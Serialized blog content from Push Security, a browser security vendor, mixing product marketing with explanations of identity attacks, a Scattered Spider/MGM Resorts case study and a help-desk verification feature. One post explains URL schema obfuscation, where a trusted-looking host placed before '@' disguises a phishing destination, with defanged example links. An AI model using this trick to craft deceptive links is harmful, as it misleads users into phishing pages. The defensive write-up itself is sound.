here",{"data":31688,"marks":31689,"value":27880,"nodeType":865},{},[],{"data":31691,"content":31695,"nodeType":921},{"target":31692},{"sys":31693},{"id":31694,"type":918,"linkType":919},"54I3YQ2gK26a8FIocQ3WYT",[],{"data":31697,"content":31698,"nodeType":944},{},[],{"data":31700,"content":31701,"nodeType":953},{},[31702],{"data":31703,"marks":31704,"value":31706,"nodeType":865},{},[31705],{"type":935},"Identities are the lowest-hanging fruit for attackers to aim for",{"data":31708,"content":31709,"nodeType":866},{},[31710],{"data":31711,"marks":31712,"value":31713,"nodeType":865},{},[],"The goal of the modern attacker, and the easiest way into your business’s digital environment, is to compromise identities. Whether you’re dealing with phishing attacks, malicious browser extensions, or infostealer malware, the objective remains the same — account takeover. ",{"data":31715,"content":31716,"nodeType":866},{},[31717],{"data":31718,"marks":31719,"value":31720,"nodeType":865},{},[],"Organizations are dealing with a vast and vulnerable attack surface consisting of:",{"data":31722,"content":31723,"nodeType":2374},{},[31724,31746,31767,31788],{"data":31725,"content":31726,"nodeType":2309},{},[31727],{"data":31728,"content":31729,"nodeType":866},{},[31730,31733,31742],{"data":31731,"marks":31732,"value":21,"nodeType":865},{},[],{"data":31734,"content":31736,"nodeType":889},{"uri":31735},"https://pushsecurity.com/blog/how-many-vulnerable-identities-do-you-have/",[31737],{"data":31738,"marks":31739,"value":31741,"nodeType":865},{},[31740],{"type":1191},"Hundreds of applications, with thousands of accounts",{"data":31743,"marks":31744,"value":31745,"nodeType":865},{},[]," spread across the app estate.",{"data":31747,"content":31748,"nodeType":2309},{},[31749],{"data":31750,"content":31751,"nodeType":866},{},[31752,31756,31764],{"data":31753,"marks":31754,"value":31755,"nodeType":865},{},[],"Accounts vulnerable to MFA-bypass phishing kits, because they are using a login method that is not phishing-resistant, or because ",{"data":31757,"content":31758,"nodeType":889},{"uri":31680},[31759],{"data":31760,"marks":31761,"value":31763,"nodeType":865},{},[31762],{"type":1191},"the login method can be downgraded",{"data":31765,"marks":31766,"value":1066,"nodeType":865},{},[],{"data":31768,"content":31769,"nodeType":2309},{},[31770],{"data":31771,"content":31772,"nodeType":866},{},[31773,31777,31785],{"data":31774,"marks":31775,"value":31776,"nodeType":865},{},[],"Accounts with a weak, reused, or breached password and no MFA altogether (usually the result of a forgotten-about ",{"data":31778,"content":31779,"nodeType":889},{"uri":30192},[31780],{"data":31781,"marks":31782,"value":31784,"nodeType":865},{},[31783],{"type":1191},"ghost login",{"data":31786,"marks":31787,"value":27551,"nodeType":865},{},[],{"data":31789,"content":31790,"nodeType":2309},{},[31791],{"data":31792,"content":31793,"nodeType":866},{},[31794,31798,31807,31810,31819,31823,31830,31833,31842],{"data":31795,"marks":31796,"value":31797,"nodeType":865},{},[],"Bypassing the authentication process entirely to evade otherwise phishing-resistant authentication methods, by abusing features like ",{"data":31799,"content":31801,"nodeType":889},{"uri":31800},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/api_keys/description.md",[31802],{"data":31803,"marks":31804,"value":31806,"nodeType":865},{},[31805],{"type":1191},"API key creation",{"data":31808,"marks":31809,"value":3202,"nodeType":865},{},[],{"data":31811,"content":31813,"nodeType":889},{"uri":31812},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/app_specific_password_phishing/description.md",[31814],{"data":31815,"marks":31816,"value":31818,"nodeType":865},{},[31817],{"type":1191},"app-specific passwords",{"data":31820,"marks":31821,"value":31822,"nodeType":865},{},[],", OAuth ",{"data":31824,"content":31825,"nodeType":889},{"uri":22601},[31826],{"data":31827,"marks":31828,"value":22607,"nodeType":865},{},[31829],{"type":1191},{"data":31831,"marks":31832,"value":3202,"nodeType":865},{},[],{"data":31834,"content":31836,"nodeType":889},{"uri":31835},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/cross-idp_impersonation/description.md",[31837],{"data":31838,"marks":31839,"value":31841,"nodeType":865},{},[31840],{"type":1191},"cross-IdP impersonation",{"data":31843,"marks":31844,"value":31845,"nodeType":865},{},[],", and more.  ",{"data":31847,"content":31851,"nodeType":921},{"target":31848},{"sys":31849},{"id":31850,"type":918,"linkType":919},"3WFzina1t5j6bDlTlGQA0l",[],{"data":31853,"content":31854,"nodeType":866},{},[31855,31859,31868,31872,31879],{"data":31856,"marks":31857,"value":31858,"nodeType":865},{},[],"A key driver of identity vulnerability is the ",{"data":31860,"content":31862,"nodeType":889},{"uri":31861},"https://pushsecurity.com/blog/minimum-viable-identity-security/",[31863],{"data":31864,"marks":31865,"value":31867,"nodeType":865},{},[31866],{"type":1191},"huge variance in the configurability of accounts per application",{"data":31869,"marks":31870,"value":31871,"nodeType":865},{},[],", with different levels of centralized visibility and security control of identities provided — for example, while one app can be locked down to only accept SSO logins via SAML and automatically remove any unused passwords, another provides no control or visibility of login method or MFA status (another big driver of the ",{"data":31873,"content":31874,"nodeType":889},{"uri":28006},[31875],{"data":31876,"marks":31877,"value":26333,"nodeType":865},{},[31878],{"type":1191},{"data":31880,"marks":31881,"value":31882,"nodeType":865},{},[]," breaches last year). Unfortunately, as a by-product of product-led growth and something that is compounded by every new SaaS startup that hits the market, this situation doesn’t look like it’s going to change anytime soon. ",{"data":31884,"content":31885,"nodeType":866},{},[31886],{"data":31887,"marks":31888,"value":31889,"nodeType":865},{},[],"The end result is that identities are misconfigured, invisible to the security team, and routinely exploited by commodity attacker tooling. It’s no surprise that they’re the primary target for attackers today. ",{"data":31891,"content":31892,"nodeType":944},{},[],{"data":31894,"content":31895,"nodeType":953},{},[31896],{"data":31897,"marks":31898,"value":31900,"nodeType":865},{},[31899],{"type":935},"The solution: The browser as a telemetry source and control point",{"data":31902,"content":31903,"nodeType":866},{},[31904],{"data":31905,"marks":31906,"value":31907,"nodeType":865},{},[],"Because identity attacks play out in the browser, it’s the perfect place for security teams to observe, intercept, and shut down these attacks. ",{"data":31909,"content":31910,"nodeType":866},{},[31911],{"data":31912,"marks":31913,"value":31914,"nodeType":865},{},[],"The browser has a number of advantages over the different places where identity can be observed and protected, because:",{"data":31916,"content":31917,"nodeType":2374},{},[31918,31928,31938],{"data":31919,"content":31920,"nodeType":2309},{},[31921],{"data":31922,"content":31923,"nodeType":866},{},[31924],{"data":31925,"marks":31926,"value":31927,"nodeType":865},{},[],"You aren’t limited to the apps and identities directly connected to your IdP (a fraction of your workforce identity sprawl). ",{"data":31929,"content":31930,"nodeType":2309},{},[31931],{"data":31932,"content":31933,"nodeType":866},{},[31934],{"data":31935,"marks":31936,"value":31937,"nodeType":865},{},[],"You aren’t limited to the apps that you know about and manage centrally — you can observe every login that passes through the browser.",{"data":31939,"content":31940,"nodeType":2309},{},[31941],{"data":31942,"content":31943,"nodeType":866},{},[31944,31948,31952],{"data":31945,"marks":31946,"value":31947,"nodeType":865},{},[],"You can observe all the properties of a login, including the login method, MFA method, etc. You’d otherwise need API access to ",{"data":31949,"marks":31950,"value":25291,"nodeType":865},{},[31951],{"type":965},{"data":31953,"marks":31954,"value":31955,"nodeType":865},{},[]," get this information (depending on whether an API is provided and whether this specific data can be interrogated, also not standard for many apps). ",{"data":31957,"content":31958,"nodeType":866},{},[31959,31963,31968,31972,31981],{"data":31960,"marks":31961,"value":31962,"nodeType":865},{},[],"It’s obvious with all that we’ve covered so far that fixing every identity vulnerability is an ominous task — the SaaS ecosystem itself is working against you. ",{"data":31964,"marks":31965,"value":31967,"nodeType":865},{},[31966],{"type":935},"This is why detecting and responding to identity attacks is essential. ",{"data":31969,"marks":31970,"value":31971,"nodeType":865},{},[],"Because identity compromise almost always involves phishing or social engineering a user to perform an action in their browser (with some exceptions — like the ",{"data":31973,"content":31975,"nodeType":889},{"uri":31974},"https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/",[31976],{"data":31977,"marks":31978,"value":31980,"nodeType":865},{},[31979],{"type":1191},"Scattered Spider-related help desk attacks",{"data":31982,"marks":31983,"value":31984,"nodeType":865},{},[]," seen recently), it’s also the perfect place to monitor for and intercept attacks. ",{"data":31986,"content":31987,"nodeType":866},{},[31988],{"data":31989,"marks":31990,"value":31991,"nodeType":865},{},[],"In the browser, you gather deep, contextualized information about page behavior and user inputs that can be used to detect and shut down risky scenarios in real time. Take the example of phishing pages. Because Push operates in the browser, it sees everything:",{"data":31993,"content":31994,"nodeType":2374},{},[31995,32005,32015,32025,32047,32057],{"data":31996,"content":31997,"nodeType":2309},{},[31998],{"data":31999,"content":32000,"nodeType":866},{},[32001],{"data":32002,"marks":32003,"value":32004,"nodeType":865},{},[],"The page layout.",{"data":32006,"content":32007,"nodeType":2309},{},[32008],{"data":32009,"content":32010,"nodeType":866},{},[32011],{"data":32012,"marks":32013,"value":32014,"nodeType":865},{},[],"Where the user came from (through the whole redirect chain).",{"data":32016,"content":32017,"nodeType":2309},{},[32018],{"data":32019,"content":32020,"nodeType":866},{},[32021],{"data":32022,"marks":32023,"value":32024,"nodeType":865},{},[],"Page interaction events — e.g. tabs opened and closed, popup windows, forms submitted, etc.",{"data":32026,"content":32027,"nodeType":2309},{},[32028],{"data":32029,"content":32030,"nodeType":866},{},[32031,32035,32043],{"data":32032,"marks":32033,"value":32034,"nodeType":865},{},[],"The password they enter ",{"data":32036,"content":32037,"nodeType":889},{"uri":30590},[32038],{"data":32039,"marks":32040,"value":32042,"nodeType":865},{},[32041],{"type":1191},"(as a salted, abbreviated hash)",{"data":32044,"marks":32045,"value":32046,"nodeType":865},{},[],", and whether a password was typed or copied, and where from.",{"data":32048,"content":32049,"nodeType":2309},{},[32050],{"data":32051,"content":32052,"nodeType":866},{},[32053],{"data":32054,"marks":32055,"value":32056,"nodeType":865},{},[],"What scripts are running on the page and whether they are potentially malicious.",{"data":32058,"content":32059,"nodeType":2309},{},[32060],{"data":32061,"content":32062,"nodeType":866},{},[32063],{"data":32064,"marks":32065,"value":32066,"nodeType":865},{},[],"Where credentials are being sent.",{"data":32068,"content":32072,"nodeType":921},{"target":32069},{"sys":32070},{"id":32071,"type":918,"linkType":919},"6kQejVS63FQ6Oy8nIm6UlV",[],{"data":32074,"content":32075,"nodeType":944},{},[],{"data":32077,"content":32078,"nodeType":953},{},[32079],{"data":32080,"marks":32081,"value":26874,"nodeType":865},{},[32082],{"type":935},{"data":32084,"content":32085,"nodeType":866},{},[32086],{"data":32087,"marks":32088,"value":32089,"nodeType":865},{},[],"Identity attacks are the biggest unsolved problem facing security teams today and the leading cause of security breaches. At the same time, the browser presents security teams with all the tools they need to prevent, detect, and respond to identity-based attacks — proactively by finding and fixing identity vulnerabilities, and reactively by detecting and blocking attacks against users in real time. ",{"data":32091,"content":32092,"nodeType":866},{},[32093,32097,32106],{"data":32094,"marks":32095,"value":32096,"nodeType":865},{},[],"Organizations need to move past the old ways of doing identity security — relying on MFA attestations, identity management dashboards, and ",{"data":32098,"content":32100,"nodeType":889},{"uri":32099},"https://pushsecurity.com/blog/three-reasons-why-browser-is-best-for-stopping-phishing-attacks/",[32101],{"data":32102,"marks":32103,"value":32105,"nodeType":865},{},[32104],{"type":1191},"legacy email and network anti-phishing tools",{"data":32107,"marks":32108,"value":32109,"nodeType":865},{},[],". And there’s no better place to stop these attacks than in the browser. ",{"data":32111,"content":32112,"nodeType":944},{},[],{"data":32114,"content":32115,"nodeType":953},{},[32116],{"data":32117,"marks":32118,"value":28538,"nodeType":865},{},[32119],{"type":935},{"data":32121,"content":32122,"nodeType":866},{},[32123],{"data":32124,"marks":32125,"value":32126,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks identity attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more.",{"data":32128,"content":32129,"nodeType":866},{},[32130,32133,32140],{"data":32131,"marks":32132,"value":26895,"nodeType":865},{},[],{"data":32134,"content":32135,"nodeType":889},{"uri":2644},[32136],{"data":32137,"marks":32138,"value":3223,"nodeType":865},{},[32139],{"type":1191},{"data":32141,"marks":32142,"value":1066,"nodeType":865},{},[],"How the browser became the main cyber battleground","How attacks have moved away from endpoints and internal networks to the browser — a blind spot for traditional security tools.","2025-08-15T00:00:00.000Z","how-the-browser-became-the-main-cyber-battleground",{"items":32148},[32149,32151],{"sys":32150,"name":342},{"id":2666},{"sys":32152,"name":2663},{"id":2662},{"items":32154},[32155],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":32156},{"url":2674},"blog/6-browser-based-attacks-every-security-team-should-be-prepared-for",{"json":32159},{"data":32160,"content":32161,"nodeType":1663},{},[32162],{"data":32163,"content":32164,"nodeType":866},{},[32165],{"data":32166,"marks":32167,"value":32168,"nodeType":865},{},[],"What security teams need to know about the browser-based attack techniques that are the leading cause of breaches today.",{"id":26265,"publishedAt":32170},"2026-08-12T11:53:52.135Z",{"items":32172},[32173,32175],{"sys":32174,"name":2663},{"id":2662},{"sys":32176,"name":342},{"id":2666},{"items":32178},[32179,32181,32183,32185,32187,32189,32191,32193,32195,32197,32199,32201,32203,32205,32207,32209,32211,32213,32215,32217,32219,32221,32223],{"sys":32180,"name":279,"slug":280,"tier":31},{"id":276},{"sys":32182,"name":413,"slug":414,"tier":31},{"id":410},{"sys":32184,"name":297,"slug":298,"tier":31},{"id":294},{"sys":32186,"name":519,"slug":520,"tier":31},{"id":516},{"sys":32188,"name":342,"slug":343,"tier":31},{"id":339},{"sys":32190,"name":642,"slug":643,"tier":31},{"id":639},{"sys":32192,"name":261,"slug":262,"tier":45},{"id":258},{"sys":32194,"name":315,"slug":316,"tier":45},{"id":312},{"sys":32196,"name":571,"slug":572,"tier":45},{"id":568},{"sys":32198,"name":324,"slug":325,"tier":45},{"id":321},{"sys":32200,"name":466,"slug":467,"tier":45},{"id":463},{"sys":32202,"name":484,"slug":485,"tier":45},{"id":481},{"sys":32204,"name":288,"slug":289,"tier":45},{"id":285},{"sys":32206,"name":448,"slug":449,"tier":45},{"id":445},{"sys":32208,"name":333,"slug":334,"tier":45},{"id":330},{"sys":32210,"name":395,"slug":396,"tier":45},{"id":392},{"sys":32212,"name":422,"slug":423,"tier":45},{"id":419},{"sys":32214,"name":475,"slug":476,"tier":45},{"id":472},{"sys":32216,"name":360,"slug":361,"tier":45},{"id":357},{"sys":32218,"name":607,"slug":608,"tier":45},{"id":604},{"sys":32220,"name":511,"slug":512,"tier":45},{"id":508},{"sys":32222,"name":502,"slug":503,"tier":45},{"id":499},{"sys":32224,"name":457,"slug":458,"tier":45},{"id":454},"WL7qIr1ZFM800qYp8iPSNtZRoMC9xxn2kj9zNtQfvf4",{"id":32227,"title":32228,"authorsCollection":32229,"content":32234,"extension":228,"faqItemsCollection":32434,"faqTitle":59,"featured":6,"hashTags":59,"meta":32436,"metaTitle":32437,"ogImage":59,"postType":27571,"publishedDate":32438,"relatedBlogPostsCollection":32439,"slug":34123,"stem":34124,"subtitle":59,"summary":34125,"synopsis":34135,"sys":34136,"tagsCollection":34139,"topicsCollection":34145,"__hash__":34159},"blog/blog/detecting-phishing-pages-using-obfuscated-url-destinations.json","Detecting phishing pages using obfuscated URL destinations",{"items":32230},[32231],{"fullName":2670,"firstName":2671,"jobTitle":2672,"socialLinks":32232,"profilePicture":32233},[14260],{"url":2674},{"json":32235,"links":32418},{"data":32236,"content":32237,"nodeType":1663},{},[32238,32255,32262,32284,32291,32314,32333,32336,32344,32351,32358,32365,32371,32378,32384,32387,32394,32401],{"data":32239,"content":32240,"nodeType":866},{},[32241,32245,32251],{"data":32242,"marks":32243,"value":32244,"nodeType":865},{},[],"URL schema obfuscation is a technique that obfuscates the end destination of a URL by abusing the URL schema. It used to be common for pages using basic authentication to accept a username and password provided in the URL: for example, hxxps://",{"data":32246,"marks":32247,"value":32250,"nodeType":865},{},[32248,32249],{"type":935},{"type":1191},"username:password",{"data":32252,"marks":32253,"value":32254,"nodeType":865},{},[],"@pushsecurity.com. ",{"data":32256,"content":32257,"nodeType":866},{},[32258],{"data":32259,"marks":32260,"value":32261,"nodeType":865},{},[],"The functionality is still supported by browsers, though it is rarely used today. Now, when a browser interprets a URL with the username section populated (anything before the \"@” sign), it discards it, and sends the request to the page or server following the \"@” sign. ",{"data":32263,"content":32264,"nodeType":866},{},[32265,32269,32274,32280],{"data":32266,"marks":32267,"value":32268,"nodeType":865},{},[],"This can be abused by attackers to send their victim to a malicious server IP or page URL after an initial legit-looking URL. So, for example: hxxps://google.com",{"data":32270,"marks":32271,"value":32273,"nodeType":865},{},[32272],{"type":935},"@",{"data":32275,"marks":32276,"value":32279,"nodeType":865},{},[32277,32278],{"type":935},{"type":1191},"phishing.com",{"data":32281,"marks":32282,"value":32283,"nodeType":865},{},[],". The destination page is then often further obfuscated through encoding to further disguise the malicious link. ",{"data":32285,"content":32286,"nodeType":866},{},[32287],{"data":32288,"marks":32289,"value":32290,"nodeType":865},{},[],"URL schema obfuscation has two main benefits for an attacker:",{"data":32292,"content":32293,"nodeType":2374},{},[32294,32304],{"data":32295,"content":32296,"nodeType":2309},{},[32297],{"data":32298,"content":32299,"nodeType":866},{},[32300],{"data":32301,"marks":32302,"value":32303,"nodeType":865},{},[],"It increases the likelihood that a victim clicks a link by appearing legitimate at a glance.",{"data":32305,"content":32306,"nodeType":2309},{},[32307],{"data":32308,"content":32309,"nodeType":866},{},[32310],{"data":32311,"marks":32312,"value":32313,"nodeType":865},{},[],"Common URL parsing logic often fails when encountering this technique. This means that where a network defense tool is relying on knowing the server/page a URL is pointing to (e.g. checking if a domain is on a threat intel feed), it could potentially bypass it.",{"data":32315,"content":32316,"nodeType":866},{},[32317,32321,32329],{"data":32318,"marks":32319,"value":32320,"nodeType":865},{},[],"VirusTotal shows abuse of this technique dating back to at least February 2022, and we’re still encountering it in the wild today. After seeing an uptick in URL obfuscation pages being intercepted by ",{"data":32322,"content":32323,"nodeType":889},{"uri":28955},[32324],{"data":32325,"marks":32326,"value":32328,"nodeType":865},{},[32327],{"type":1191},"Push’s other browser-based phishing protection controls",{"data":32330,"marks":32331,"value":32332,"nodeType":865},{},[],", we decided to use our position in the browser to roll out an additional layer of protection against this technique. ",{"data":32334,"content":32335,"nodeType":944},{},[],{"data":32337,"content":32338,"nodeType":953},{},[32339],{"data":32340,"marks":32341,"value":32343,"nodeType":865},{},[32342],{"type":935},"Block URL obfuscation in the browser",{"data":32345,"content":32346,"nodeType":866},{},[32347],{"data":32348,"marks":32349,"value":32350,"nodeType":865},{},[],"We’re providing Push customers with the ability to outright block schema obfuscation when it’s encountered in the browser, protecting against attackers using this technique to obfuscate their phishing and malware delivery pages/servers. ",{"data":32352,"content":32353,"nodeType":866},{},[32354],{"data":32355,"marks":32356,"value":32357,"nodeType":865},{},[],"No matter where the link originates, Push intercepts it at the point of execution in the browser, and shuts the attack down. ",{"data":32359,"content":32360,"nodeType":866},{},[32361],{"data":32362,"marks":32363,"value":32364,"nodeType":865},{},[],"Here’s how it works:",{"data":32366,"content":32370,"nodeType":921},{"target":32367},{"sys":32368},{"id":32369,"type":918,"linkType":919},"35dUsivrKA5tNINGmaNfdb",[],{"data":32372,"content":32373,"nodeType":866},{},[32374],{"data":32375,"marks":32376,"value":32377,"nodeType":865},{},[],"To enable the control, simply hit the toggle under “URL blocking” from the Push dashboard. ",{"data":32379,"content":32383,"nodeType":921},{"target":32380},{"sys":32381},{"id":32382,"type":918,"linkType":919},"A6Zz23b8mIdAaQnl99lQn",[],{"data":32385,"content":32386,"nodeType":944},{},[],{"data":32388,"content":32389,"nodeType":953},{},[32390],{"data":32391,"marks":32392,"value":11994,"nodeType":865},{},[32393],{"type":935},{"data":32395,"content":32396,"nodeType":866},{},[32397],{"data":32398,"marks":32399,"value":32400,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":32402,"content":32403,"nodeType":866},{},[32404,32407,32415],{"data":32405,"marks":32406,"value":30729,"nodeType":865},{},[],{"data":32408,"content":32410,"nodeType":889},{"uri":32409},"https://pushsecurity.com/demo/?utm_campaign=12883224-FY25Q2_Scattered-Spider&utm_source=bleepingcomputer&utm_content=sponsored-article",[32411],{"data":32412,"marks":32413,"value":3223,"nodeType":865},{},[32414],{"type":1191},{"data":32416,"marks":32417,"value":1066,"nodeType":865},{},[],{"entries":32419},{"hyperlink":32420,"inline":32421,"block":32422},[],[],[32423,32426],{"sys":32424,"__typename":19827,"title":32343,"arcadeDemoUrl":32425,"playText":25068},{"id":32369},"https://demo.arcade.software/wAgMRhKeX2heQPyUh8tK?embed",{"sys":32427,"__typename":1671,"title":32428,"caption":32429,"layoutMode":59,"file":32430},{"id":32382},"Enable URL schema obfuscation","URL obfuscation blocking can be enabled with a simple toggle. ",{"url":32431,"width":32432,"height":32433},"https://images.ctfassets.net/y1cdw1ablpvd/7ypmTNXQSaVW961uwCilOH/e2b3c04a1fb38d9adae6a1528332bafa/Screenshot_2025-07-01_at_09.00.23.png",1454,398,{"items":32435},[],{},"Block URL obfuscation in the browser with Push","2025-07-01T00:00:00.000Z",{"items":32440},[32441,32802,33492],{"__typename":1802,"sys":32442,"content":32444,"title":32790,"synopsis":32791,"hashTags":59,"publishedDate":32792,"slug":32793,"tagsCollection":32794,"authorsCollection":32798},{"id":32443},"4rLP8wr6HnvBG2OzqYYKpF",{"json":32445},{"data":32446,"content":32447,"nodeType":1663},{},[32448,32455,32462,32469,32475,32482,32515,32522,32529,32536,32542,32549,32556,32574,32580,32587,32607,32627,32634,32641,32648,32655,32662,32669,32676,32696,32703,32710,32716,32723,32730,32754,32760,32778,32784],{"data":32449,"content":32450,"nodeType":866},{},[32451],{"data":32452,"marks":32453,"value":32454,"nodeType":865},{},[],"Scattered Spider has shown the world the devastating effects attackers can achieve by socially engineering IT help desks into performing MFA resets so they can take over accounts on sensitive corporate apps. ",{"data":32456,"content":32457,"nodeType":866},{},[32458],{"data":32459,"marks":32460,"value":32461,"nodeType":865},{},[],"That’s why we’re introducing Employee Identity Verification Codes — a simple, browser-based identity check that gives your help desk a reliable way to confirm they’re talking to someone from your organization.",{"data":32463,"content":32464,"nodeType":866},{},[32465],{"data":32466,"marks":32467,"value":32468,"nodeType":865},{},[],"Push now provides your employees with a rotating 6-digit verification code in their browser via the Push Security extension. When an employee contacts your IT help desk to request an MFA reset or access recovery, the help desk can ask for this code to verify their identity — ensuring it’s really them, and not an attacker.",{"data":32470,"content":32474,"nodeType":921},{"target":32471},{"sys":32472},{"id":32473,"type":918,"linkType":919},"3PkiGgzwSt9Nb5rsGRiQVZ",[],{"data":32476,"content":32477,"nodeType":866},{},[32478],{"data":32479,"marks":32480,"value":32481,"nodeType":865},{},[],"The employee identity verification codes are:",{"data":32483,"content":32484,"nodeType":2374},{},[32485,32495,32505],{"data":32486,"content":32487,"nodeType":2309},{},[32488],{"data":32489,"content":32490,"nodeType":866},{},[32491],{"data":32492,"marks":32493,"value":32494,"nodeType":865},{},[],"Session-aware - generated in users’ browsers and only visible to them when they click on the Push Security extension icon in their browser toolbar.",{"data":32496,"content":32497,"nodeType":2309},{},[32498],{"data":32499,"content":32500,"nodeType":866},{},[32501],{"data":32502,"marks":32503,"value":32504,"nodeType":865},{},[],"Rotating: they change every 24 hours",{"data":32506,"content":32507,"nodeType":2309},{},[32508],{"data":32509,"content":32510,"nodeType":866},{},[32511],{"data":32512,"marks":32513,"value":32514,"nodeType":865},{},[],"Lightweight: no additional apps or devices required",{"data":32516,"content":32517,"nodeType":866},{},[32518],{"data":32519,"marks":32520,"value":32521,"nodeType":865},{},[],"It’s a fast, simple verification method — directly in the employee’s browser — that addresses a real-world threat.",{"data":32523,"content":32524,"nodeType":953},{},[32525],{"data":32526,"marks":32527,"value":32528,"nodeType":865},{},[],"We think it’s swell, but don’t just take our word for it …",{"data":32530,"content":32531,"nodeType":866},{},[32532],{"data":32533,"marks":32534,"value":32535,"nodeType":865},{},[],"Eric Rubin — a Senior Manager in GitLab’s Corporate Security team — has already rolled out Employee Identity Verification Codes across his workforce. Here’s what he had to say about it:",{"data":32537,"content":32541,"nodeType":921},{"target":32538},{"sys":32539},{"id":32540,"type":918,"linkType":919},"5ZLaA869NXpMjVwkswEyOB",[],{"data":32543,"content":32544,"nodeType":866},{},[32545],{"data":32546,"marks":32547,"value":32548,"nodeType":865},{},[],"Thank you, Eric!",{"data":32550,"content":32551,"nodeType":953},{},[32552],{"data":32553,"marks":32554,"value":32555,"nodeType":865},{},[],"Why are help desk identity verification methods so hot right now?",{"data":32557,"content":32558,"nodeType":866},{},[32559,32563,32570],{"data":32560,"marks":32561,"value":32562,"nodeType":865},{},[],"A number of the high-profile incidents attributed to the ",{"data":32564,"content":32565,"nodeType":889},{"uri":25549},[32566],{"data":32567,"marks":32568,"value":32569,"nodeType":865},{},[],"Scattered Spider cybercriminal group",{"data":32571,"marks":32572,"value":32573,"nodeType":865},{},[]," saw them socially engineer IT help desks into resetting MFA on employee accounts that they had already acquired valid credentials for. These compromised accounts were typically on IdP systems like Okta providing SSO access to large numbers of downstream applications.",{"data":32575,"content":32579,"nodeType":921},{"target":32576},{"sys":32577},{"id":32578,"type":918,"linkType":919},"2F2dpOkyXWnrKgFC3dSl67",[],{"data":32581,"content":32582,"nodeType":1229},{},[32583],{"data":32584,"marks":32585,"value":32586,"nodeType":865},{},[],"Case study: The MGM Resorts breach",{"data":32588,"content":32589,"nodeType":866},{},[32590,32594,32603],{"data":32591,"marks":32592,"value":32593,"nodeType":865},{},[],"One of Scattered Spider’s most notorious and well-documented attacks was against ",{"data":32595,"content":32597,"nodeType":889},{"uri":32596},"https://pushsecurity.com/blog/identity-attacks-in-the-wild/#id-mgm-resorts-september-2023",[32598],{"data":32599,"marks":32600,"value":32602,"nodeType":865},{},[32601],{"type":1191},"MGM Resorts",{"data":32604,"marks":32605,"value":32606,"nodeType":865},{},[],". Scattered Spider socially engineered MGM Resorts’ help desk personnel to bypass MFA and log in to accounts for which they had acquired valid login credentials via credential phishing and historical infostealer compromises. ",{"data":32608,"content":32609,"nodeType":866},{},[32610,32614,32623],{"data":32611,"marks":32612,"value":32613,"nodeType":865},{},[],"They specifically targeted accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":32615,"content":32617,"nodeType":889},{"uri":32616},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/inbound_federation/description.md",[32618],{"data":32619,"marks":32620,"value":32622,"nodeType":865},{},[32621],{"type":1191},"inbound federation",{"data":32624,"marks":32625,"value":32626,"nodeType":865},{},[],". This then enabled them to impersonate any user within the Okta tenant. ",{"data":32628,"content":32629,"nodeType":866},{},[32630],{"data":32631,"marks":32632,"value":32633,"nodeType":865},{},[],"The attackers were then able to abuse SSO access to downstream apps and platforms from various accounts, culminating in deployment of ransomware to around 100 ESXi servers and data exfiltration. ",{"data":32635,"content":32636,"nodeType":866},{},[32637],{"data":32638,"marks":32639,"value":32640,"nodeType":865},{},[],"The breach resulted in a 36-hour outage, a $100M hit to its Q3 results, one-time cyber consulting fees in the region of $10M, and a class-action lawsuit later settled for $45M. ",{"data":32642,"content":32643,"nodeType":1229},{},[32644],{"data":32645,"marks":32646,"value":32647,"nodeType":865},{},[],"Reassessing help desk verification processes",{"data":32649,"content":32650,"nodeType":866},{},[32651],{"data":32652,"marks":32653,"value":32654,"nodeType":865},{},[],"Scattered Spider’s high-profile attacks — including its most recent against UK retailers Marks & Spencer’s and the Co-op — has prompted many security teams to reassess the verification processes used by their IT help desks when an employee requests an MFA reset or access to sensitive applications. ",{"data":32656,"content":32657,"nodeType":866},{},[32658],{"data":32659,"marks":32660,"value":32661,"nodeType":865},{},[],"Initial guidance from across the industry included the use of call-back verification for any MFA or credential changes requested by an employee. However, Scattered Spider are also known to use SIM-swapping to trick mobile carriers into transferring a victim’s phone number to a SIM card controlled by the attacker - thereby allowing them to intercept verification calls. ",{"data":32663,"content":32664,"nodeType":953},{},[32665],{"data":32666,"marks":32667,"value":32668,"nodeType":865},{},[],"Simple verification using your employees’ browsers",{"data":32670,"content":32671,"nodeType":866},{},[32672],{"data":32673,"marks":32674,"value":32675,"nodeType":865},{},[],"Push already provides several controls that directly align to the other TTPs used by Scattered Spider. They include detecting stolen credentials, cloned login pages, AitM toolkits and compromised IdP sessions. ",{"data":32677,"content":32678,"nodeType":866},{},[32679,32683,32692],{"data":32680,"marks":32681,"value":32682,"nodeType":865},{},[],"(BTW, if this piques your interest, you can ",{"data":32684,"content":32686,"nodeType":889},{"uri":32685},"https://pushsecurity.com/resources?type=webinar#content",[32687],{"data":32688,"marks":32689,"value":32691,"nodeType":865},{},[32690],{"type":1191},"stream our latest webinar",{"data":32693,"marks":32694,"value":32695,"nodeType":865},{},[]," where we deep-dive into Scattered Spider, how their TTPs are evolving in 2025, and what Push is doing to protect organizations against them.) ",{"data":32697,"content":32698,"nodeType":866},{},[32699],{"data":32700,"marks":32701,"value":32702,"nodeType":865},{},[],"But to provide our customers with an additional layer of defense against the Scattered Spider attack chain, we wanted to see how we could make it harder for attackers to socially engineer IT help desks into gaining access to IdP systems and sensitive apps.",{"data":32704,"content":32705,"nodeType":866},{},[32706],{"data":32707,"marks":32708,"value":32709,"nodeType":865},{},[],"As so often is the case, the answer was staring us right in the face - we can use our browser extension. By placing a verification code in the details tray of every employees’ Push extension, they can use that to verify their identity with their help desk 